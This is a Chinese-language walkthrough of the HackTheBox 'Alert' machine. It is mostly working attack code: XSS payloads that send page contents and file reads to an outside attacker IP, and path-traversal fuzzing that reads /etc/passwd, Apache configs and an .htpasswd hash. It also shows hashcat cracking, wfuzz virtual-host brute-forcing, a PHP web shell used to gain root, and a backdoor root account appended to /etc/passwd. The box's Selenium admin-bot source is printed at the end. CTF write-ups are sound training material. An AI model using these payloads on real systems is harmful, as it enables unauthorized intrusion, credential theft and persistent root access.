XSRF和某XSS机器人实现-HackTheBox-Alert
Markdown 上传与预览程序,可以生成共享链接
结合说明页面的提示,管理员会检查 contact 的内容然后汇报给开发组,我们可以尝试 XSS
XSS PoC
<script>
fetch('/index.php?page=alert')
.then(p => p.text())
.then(t => fetch('http://10.10.16.43/a?d=' + encodeURIComponent(t)))
</script>
上传,得到链接之后发送给 contact.php,
观察到本地的 http server 的 80 端口立刻被触发
根据回传的信息,在管理员的视角是多了一个 messages 页面,对它进行爬取
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;">© 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
说明调用这个 api 的方式是 file 参数
使用 XSRF 打路径穿越
不过不知道具体是几个父路径,直接填最多的那个(10 个)
<script>
var fuzz = new Array(
'/etc/passwd',
'../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd'
);
var i = 0;
for (; i < fuzz.length; i++) {
fetch('messages.php?file=' + fuzz[i])
.then((r) => {
if (r.status == 200) {
//console.log(r.url);
return r.text();
}
})
.then((d) => {
if (d) {
fetch('http://10.10.16.43/a?d=' + encodeURIComponent(d));
}
});
}
</script>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
尝试读.ssh 下面的私钥,未果
通过 HTTP 返回头,可以知道服务器的版本是 apache 2.4.41
泄漏配置文件:
- /etc/apache2/apache2.conf
- /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
第二个 virtualhost 里面有认证,还是基础认证,根据信息读这个文件
/var/www/statistics.alert.htb/.htpasswd
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
hashcat -m 1600 hashes /usr/share/wordlists/rockyou.txt
manchesterunited
登录 ssh,成功
贴一个 virtualhost 的爆破方法(类似 subdomain,但不通过 dns,只是修改 Host 头)
curl -s --path-as-is '10.10.11.44' -H 'Host: alert.htb'
wfuzz -c --hc 301 -z file,/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u '10.10.11.44' -H 'Host: FUZZ.alert.htb'
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001261: 401 14 L 54 W 467 Ch "statistics"
要注意的是这题是默认开 401 验证的,如果使用 –sc 200 则会碰壁,只需 –hc 301 屏蔽掉跳转的响应就可以了
ps faux
发现一个 root 跑的 php 程序
/usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
进去发现这个目录有组内写权限,而 config 目录的组是 management
恰好:
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
用户组里有 management
PoC:
echo '<?php system($_REQUEST["cmd"]);?>' > a.php
curl -v --path-as-is 'http://127.0.0.1:8080/config/a.php?cmd=whoami'
显示 root,验证成功,下面是持久化的 payload
curl -v --path-as-is 'http://127.0.0.1:8080/config/a.php?cmd=echo+%27root2:$1$FmWIOzan$t.1jEEAaYmojCk462RAaK.:0:0::/root:/bin/bash%27+>>+/etc/passw
d'
用 root2:toor 登录即可拿到 system
贴一个这关的 XSS 机器人,基于 selenium
xss_bot.sh
#!/bin/bash
MONITOR_DIR="/var/www/alert.htb/messages"
if [ ! -d "$MONITOR_DIR" ]; then
echo "The directory $MONITOR_DIR does not exist."
exit 1
fi
# Monitor the directory for create and delete events
inotifywait -m -e create --format '%w%f %e' "$MONITOR_DIR" --exclude "2024-03-10_15-48-34.txt" | while read fullpath event
do
filename=$(basename "$fullpath")
echo "The file $filename has been created."
sudo -u david /usr/bin/python3 /home/david/admin.py
echo "$filename restored."
done
/home/david/admin.py
#!/usr/bin/python3
import os
import re
import logging, time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
# Constants
DIRECTORY_PATH = "/var/www/alert.htb/messages/"
CHROME_DRIVER_PATH = "/usr/local/bin/chromedriver"
URL_PATTERN = r'http[s]?://\S+'
MESSAGE_PATTERN = r'Message: (.*)$'
# Setup Chrome options
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--no-sandbox")
# Initialize WebDriver
service = Service(CHROME_DRIVER_PATH)
def extract_urls_from_file(file_path):
"""Extracts URLs from a message file."""
with open(file_path, 'r') as f:
content = f.read()
message_match = re.search(MESSAGE_PATTERN, content)
f.close()
logging.info(f"Removing {file_path}")
os.remove(file_path)
if message_match:
message_content = message_match.group(1).strip()
return re.findall(URL_PATTERN, message_content)
return []
def process_urls(driver, urls):
"""Attempts to load URLs using Selenium and logs success or failure."""
for url in urls:
try:
logging.info(f"Processing URL: {url}")
driver.get(url)
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, 'body')))
time.sleep(3)
logging.info(f"Successfully loaded URL: {url}")
except TimeoutException:
logging.error(f"Timeout while trying to load URL: {url}")
except NoSuchElementException:
logging.error(f"Could not find element in URL: {url}")
except WebDriverException as e:
logging.error(f"WebDriver error with URL: {url} - {str(e)}")
except Exception as e:
logging.error(f"Unknown error while processing URL: {url} - {str(e)}")
def main():
# Start WebDriver
try:
with webdriver.Chrome(service=service, options=chrome_options) as driver:
driver.set_page_load_timeout(10)
# Get list of message files
message_files = (f for f in os.listdir(DIRECTORY_PATH) if f.endswith(".txt"))
for file in message_files:
if file != "2024-03-10_15-48-34.txt":
file_path = os.path.join(DIRECTORY_PATH, file)
logging.info(f"Processing file: {file_path}")
# Extract URLs
urls = extract_urls_from_file(file_path)
if urls:
process_urls(driver, urls)
else:
logging.warning(f"No URLs found in file: {file_path}")
except Exception as e:
logging.critical(f"Failed to start WebDriver: {str(e)}")
finally:
logging.info("Finished processing all files.")
if __name__ == "__main__":
main()